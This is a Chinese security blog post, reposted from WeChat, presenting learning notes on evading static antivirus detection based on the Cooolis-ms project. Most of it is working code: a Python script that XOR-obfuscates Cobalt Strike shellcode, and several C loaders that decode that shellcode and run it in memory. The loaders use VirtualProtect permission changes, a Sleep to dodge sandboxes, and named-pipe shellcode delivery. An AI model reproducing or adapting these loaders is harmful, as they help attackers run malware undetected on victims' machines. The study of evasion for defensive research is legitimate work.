静态恶意代码逃逸学习

admin 2024年10月17日21:01:15评论8 views字数 8326阅读27分45秒阅读模式

本文章从Coooli项目中做下学习记录

https://github.com/Rvn0xsy/Cooolis-ms

※本项目距今时间较为长,但是作者的规避思路仍就可以学习参考

对shellcode做异或的py脚本

import sys
from argparse import ArgumentParser, FileType

def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1)
if not code:
break

base10 = ord(code) ^ num
base10_str = chr(base10)
shellcode_raw += base10_str.encode()
code_hex = hex(base10)
code_hex = code_hex.replace('0x','')
if(len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += '\x' + code_hex
shellcode_size += 1
src_fp.close()
dst_raw.write(shellcode_raw)
dst_raw.close()
dst_fp.write(shellcode)
dst_fp.close()
return shellcode_size
except Exception as e:
sys.stderr.writelines(str(e))

def main():
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] t > Author: [email protected]')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} n".format(shellcode_size))

if __name__ == "__main__":
main()

python3 .xor_shellcoder.py -s .payload.bin -d payload.c -n 10 -r out.bin

-r 参数输出的是混淆过的二进制版本shellcode,-d 参数输出的是C语言格式的shellcode

loader

通过调用VIrtualAlloc创建内存WaitForSingleObject 来执行的一个loader

VirtualAllocCopyMemoryWaitForSingleObject

#include <Windows.h>

// 入口函数
int wmain(int argc,TCHAR * argv[]){

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄

/* shellcode */
unsigned char buf[] = "";

// 获取shellcode大小
shellcode_size = sizeof(buf);

/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/


char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);

// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode, buf, shellcode_size);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}

异或loader

配合py异或脚本使用

#include <Windows.h>

// 入口函数
int wmain(int argc,TCHAR * argv[]){

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄

/* shellcode */
unsigned char buf[] = "";

// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
buf[i] ^= 10;
}

/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/


char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);

// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode, buf, shellcode_size);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}

内存申请优化&异或loader

这里的流程就变成了

VirtualAllocCopyMemoryVirtualProtect(修改属性为可执行) → WaitForSingleObject执行

异或处用InterlockedXorRelease函数可以用于两个值的异或运算,最重要的一点就是,它的操作是原子的,也就是可以达到线程同步

#include <Windows.h>

// 入口函数
int wmain(int argc,TCHAR * argv[]){

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性

/* shellcode */
char buf[] = "";

// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
Sleep(50);
_InterlockedXor8(buf+i,10);
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/


char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);

// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode,buf,shellcode_size);

// 这里开始更改它的属性为可执行
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect);

// 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}

Pipe传输shellcode

管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节

通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程。

流程:创建线程CreateThread → 管道接收shellcodeWaitNamedPipe - CreateFile - WriteFile → 链接管道ConnectNamedPipe → 获取数据ReadFileVirtualAllocCopyMemoryVirtualProtect(修改属性为可执行) → WaitForSingleObject执行

#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define BUFF_SIZE 1024
/* length: 892 bytes */
char buf[] = "";

const TCHAR* ptsPipeName = TEXT("\\.\pipe\BadCode");
//注意修改为可执行的类型,原代码中的类型是PTCHAR

BOOL RecvShellcode(VOID) {
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hPipeClient == INVALID_HANDLE_VALUE) {
printf("[+}Can't Open Pipe, Error: %dn", GetLastError());
return FALSE;
}

WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
if (dwWritten == dwShellcodeSize) {
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode: %d Bytesn", dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}

int wmain(int argc, TCHAR* argv[]) {
HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect;// 内存页属性
HANDLE hThread;
DWORD dwThreadId;
// 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea

hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL
);

if (hPipe == INVALID_HANDLE_VALUE) {
dwError = GetLastError();
printf("[-]Create Pipe Error: %dn", dwError);
return dwError;
}

CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)RecvShellcode, NULL, NULL, NULL);

if (ConnectNamedPipe(hPipe, NULL) > 0) {
printf("[+]Client Connected...n");
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
printf("[+]Get DATA Length: %dn", dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);

// 拷贝内存
CopyMemory(pszShellcode, szBuffer, dwLen);

for (DWORD i = 0; i < dwLen; i++) {
Sleep(10);
_InterlockedXor8(pszShellcode + i, 233);
}

// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread, INFINITE);
}

return 0;
}
静态恶意代码逃逸学习

Pipe shellcode分离C&S

将Pipe的代码分开编译,实现接收端和发送端

这两段代码的逻辑就是Pipe代码阶段运行

接收端

确定管道名 → 连接管道 → 读取shellcode执行

#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define BUFF_SIZE 1024

const TCHAR* ptsPipeName = TEXT("\\.\pipe\BadCode");

int wmain(int argc, TCHAR* argv[]) {

HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect; // 内存页属性
HANDLE hThread;
DWORD dwThreadId;
// 参考https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL);

if (hPipe == INVALID_HANDLE_VALUE) {
dwError = GetLastError();
printf("[-]Create Pipe Error : %d n", dwError);
return dwError;
}

if (ConnectNamedPipe(hPipe, NULL) > 0) {
printf("[+]Client Connected...n");
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
printf("[+]Get DATA Length : %d n", dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
// 拷贝内存
CopyMemory(pszShellcode, szBuffer, dwLen);

for (DWORD i = 0; i < dwLen; i++) {
Sleep(50);
_InterlockedXor8(pszShellcode + i, 233);
}

// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread, INFINITE);
}

return 0;
}

发送端

将shellcode通过管道发送

#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define BUFF_SIZE 1024
char buf[] = "";
const TCHAR* ptsPipeName = TEXT("\\.\pipe\BadCodeTest");

BOOL RecvShellcode(VOID) {
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hPipeClient == INVALID_HANDLE_VALUE) {
printf("[+]Can't Open Pipe , Error : %d n", GetLastError());
return FALSE;
}

WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
if (dwWritten == dwShellcodeSize) {
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode : %d Bytesn", dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}

int wmain(int argc, TCHAR* argv[]) {

RecvShellcode();

return 0;
}
静态恶意代码逃逸学习

静态恶意代码逃逸学习

原文始发于微信公众号(CatalyzeSec):静态恶意代码逃逸学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月17日21:01:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   静态恶意代码逃逸学习https://cn-sec.com/archives/3283053.html

发表评论

匿名网友 填写信息